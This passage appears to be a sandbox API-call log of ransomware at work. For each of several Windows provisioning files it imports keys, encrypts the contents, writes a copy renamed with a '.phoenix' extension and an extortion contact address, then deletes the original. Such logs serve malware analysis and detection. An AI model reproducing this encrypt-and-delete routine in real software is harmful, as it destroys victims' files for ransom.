	[0238.347] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.347] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0238.347] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.348] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1dd, lpOverlapped=0x0) returned 1
	[0238.349] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0238.349] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.349] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0238.349] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.349] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0238.349] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.349] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0238.350] CryptDestroyKey (hKey=0x151380) returned 1
	[0238.350] CloseHandle (hObject=0x2d4) returned 1
	[0238.350] CloseHandle (hObject=0x2c0) returned 1
	[0238.350] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\202__Connections_Cellular_Zain (Iraq)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\202__connections_cellular_zain (iraq)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.351] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.351] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=702) returned 1
	[0238.351] CloseHandle (hObject=0x2c0) returned 1
	[0238.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.351] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.352] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.352] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.352] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.352] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0238.352] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.352] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2be, lpOverlapped=0x0) returned 1
	[0238.354] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0238.354] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0238.354] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0238.355] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.355] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0238.355] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0238.355] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0238.355] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0238.355] CloseHandle (hObject=0x2c0) returned 1
	[0238.355] CloseHandle (hObject=0x2d4) returned 1
	[0238.355] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\203__Connections_Cellular_3 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\203__connections_cellular_3 (ireland)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.356] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.356] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.356] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=460) returned 1
	[0238.356] CloseHandle (hObject=0x2d4) returned 1
	[0238.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0238.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.357] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.357] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.357] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.357] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0238.357] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.357] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cc, lpOverlapped=0x0) returned 1
	[0238.364] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0238.364] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0238.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0238.365] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.365] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.366] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0238.366] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.366] CryptDestroyKey (hKey=0x151280) returned 1
	[0238.366] CloseHandle (hObject=0x2d4) returned 1
	[0238.366] CloseHandle (hObject=0x2c0) returned 1
	[0238.368] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\204__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\204__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0238.369] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.369] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.370] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=643) returned 1
	[0238.370] CloseHandle (hObject=0x2c0) returned 1
	[0238.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.370] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.370] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.370] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.371] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151380) returned 1
	[0238.371] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.371] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x283, lpOverlapped=0x0) returned 1
	[0238.372] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0238.372] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0238.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0238.373] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.373] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0238.373] CryptDestroyKey (hKey=0x151040) returned 1
	[0238.373] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0238.373] CryptDestroyKey (hKey=0x151380) returned 1
	[0238.373] CloseHandle (hObject=0x2c0) returned 1
	[0238.373] CloseHandle (hObject=0x2d4) returned 1
	[0238.373] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\205__Connections_Cellular_O2 (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\205__connections_cellular_o2 (ireland)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.374] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.374] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.375] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=863) returned 1
	[0238.375] CloseHandle (hObject=0x2d4) returned 1
	[0238.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.375] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.375] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.375] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.376] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0238.376] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.376] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x35f, lpOverlapped=0x0) returned 1
	[0238.377] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0238.377] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0238.378] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0238.378] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.378] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0238.378] CryptDestroyKey (hKey=0x151700) returned 1
